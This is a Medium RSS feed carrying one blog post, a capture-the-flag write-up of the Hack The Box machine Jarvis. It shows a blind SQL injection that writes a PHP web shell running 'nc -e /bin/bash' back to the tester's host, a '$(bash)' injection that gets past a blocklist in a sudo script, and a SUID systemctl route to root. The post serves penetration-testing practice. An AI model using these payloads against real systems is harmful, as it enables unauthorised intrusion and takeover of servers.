<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Supriti Agrawal on Medium]]></title>
        <description><![CDATA[Stories by Supriti Agrawal on Medium]]></description>
        <link>https://medium.com/@supriti01?source=rss-22fc26609256------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FPv9BogCTjCllCVIDQyFAw.jpeg</url>
            <title>Stories by Supriti Agrawal on Medium</title>
            <link>https://medium.com/@supriti01?source=rss-22fc26609256------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:22:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@supriti01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hack The Box (HTB) Jarvis without SQLmap. Totally different Approach]]></title>
            <link>https://supriti01.medium.com/hack-the-box-htb-jarvis-without-sqlmap-totally-different-approach-9968e9802451?source=rss-22fc26609256------2</link>
            <guid isPermaLink="false">https://medium.com/p/9968e9802451</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[without-sqlmap]]></category>
            <category><![CDATA[jarvis]]></category>
            <dc:creator><![CDATA[Supriti Agrawal]]></dc:creator>
            <pubDate>Thu, 14 Jan 2021 14:49:40 GMT</pubDate>
            <atom:updated>2021-01-14T14:49:40.538Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys, hope you are doing well !!! :). This is my first post on medium :)</p><p>Today I am going to solve Jarvis (IP- 10.10.10.143) from hack the box. It’s a retired machine. I will use ‘write into file’ through SQL injection functionality to inject the php shellcode and get a reverse shell.</p><p>Lets get started.</p><p>I started with nmap scan with command nmap -sV -sC -o nmap 10.10.10.143 &amp; found port 22 and 80 open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*YtobBrQX5EcXJ2d8TgMwMQ.png" /></figure><p>Port 22 will be used if I get any credential. I moved to port 80 and found ‘Hotel stark’ page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*R395IJRvIt1AjQ82tLdFZg.png" /></figure><p>I checked the application and found one parameter which could be vulnerable to SQL injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*J_w-nUjbLyCXYFxzRMqJ0Q.png" /></figure><p>By changing the parameter 3 to (4–1)or (5–2), I got the same results as 3. There was a blind SQL here. I found total number of columns to be 7 by inserting 3 order by 7 — in place of 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*1eepGdc9ytFPGjexf3kleA.png" /></figure><p>As I tried putting 3 order by 8, it did not give me any results which meant total number of columns were 7.</p><p>I knew it was possible to achieve RCE through SQL injection by ‘write into file’ functionality in mysql. We can also read filesystem like /etc/passwd or other files depending on the permissions.</p><p>But here, Since it was blind SQL, nothing was returned so it was not possible to read /etc/passwd but there was a possibility to inject shellcode.</p><p>Since it is an Apache server, we can write file into /var/www/html/shell.php. I captured the request in burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6gJvSmg6zfzISCo5zsP4og.png" /></figure><p>and changed the value of 3 to-</p><p><strong>3 union all select 1,2,3,4,5,6,’&lt;?php passthru(“nc -e /bin/bash 10.10.14.13 443”); ?&gt;’ into outfile ‘/var/www/html/shell.php’ —</strong></p><p>what we are trying here is to inject our payload into the seventh column and will access it through web.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VjhPqFl038J6LfzirZUHHw.png" /><figcaption>request with shellcode payload</figcaption></figure><p>I opened listener 443 in my command prompt and accessed shell.php like <a href="http://10.10.10.143/shell.php"><strong>http://10.10.10.143/shell.php</strong></a><strong> </strong>&amp; got a reverse connection to my machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*aSf_Hc_HeKuv_WW1cdfZcQ.png" /></figure><p>Upgraded my shell using python -c ‘import pty;pty.spawn(“/bin/bash”)’</p><p>The shell I got was of www. I could not access user.txt since the access was denied and it seemed only pepper can access it.</p><p>I tried sudo -l and www was able to run command /var/www/Admin-Utilities/simpler.py as pepper</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*VyKDmfBFgnEWnyav-jkHzA.png" /></figure><p>I checked the script and one function caught my attention-<strong> def exec_ping():<br> forbidden = [‘&amp;’, ‘;’, ‘-’, ‘`’, ‘||’, ‘|’]<br> command = input(‘Enter an IP: ‘)<br> for i in forbidden:<br> if i in command:<br> print(‘Got you’)<br> exit()<br> os.system(‘ping ‘ + command)</strong></p><p><strong><em>Note</em></strong>: <em>whenever encounter a script, try to find any exec function in it as it can get you command injection</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vKSXxuNjD4AP23uG5pvqw.png" /></figure><p>This script is executing OS command along with ping but <strong>‘&amp;’, ‘;’, ‘-’, ‘`’, ‘||’, ‘| </strong>are blocked. But $ is allowed so i tried that-</p><p>I ran <strong>sudo -u pepper /var/www/Admin-Utilities/simpler.py -p</strong> and when as ked for IP i gave <strong>$(bash) </strong>and got shell as pepper</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*lxvT3rG0a0OLrNS1mTeXag.png" /></figure><p>I was not able to run any command, so took reverse shell of pepper on my Kali machine on port 4444</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*Wwr3k59f1gnFJ3tLtKsZnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*7uzdSt0cevoD05je8v-33g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*HsS25ilxU6rrMfW0IKKR1g.png" /><figcaption>Got user.txt</figcaption></figure><p>For root, I ran linpeas.sh and found one vulnerable parameter- in privilege escalation through SUID which was <strong>systemctl</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*_ZzpQk38V9N0MG2sW2zWrg.png" /></figure><p>After some research, I created a file as below and transferred it to victim machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*1-1Bm8bTrWjGwx6fdN0nYw.png" /></figure><p>I ran command<strong> /bin/systemctl enable /home/pepper/root.service</strong> &amp; started the service by <strong>/bin/systemctl start root</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*m4hPoEZwd09DjsTxPaUjiQ.png" /></figure><p>Got shell as root :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*F2pv6g5q1u-J4lE6t8AdNA.png" /></figure><p>So, this was it. Do let me know if you guys want to see any other HTB in a different approach or any topic , will try to cover :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9968e9802451" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>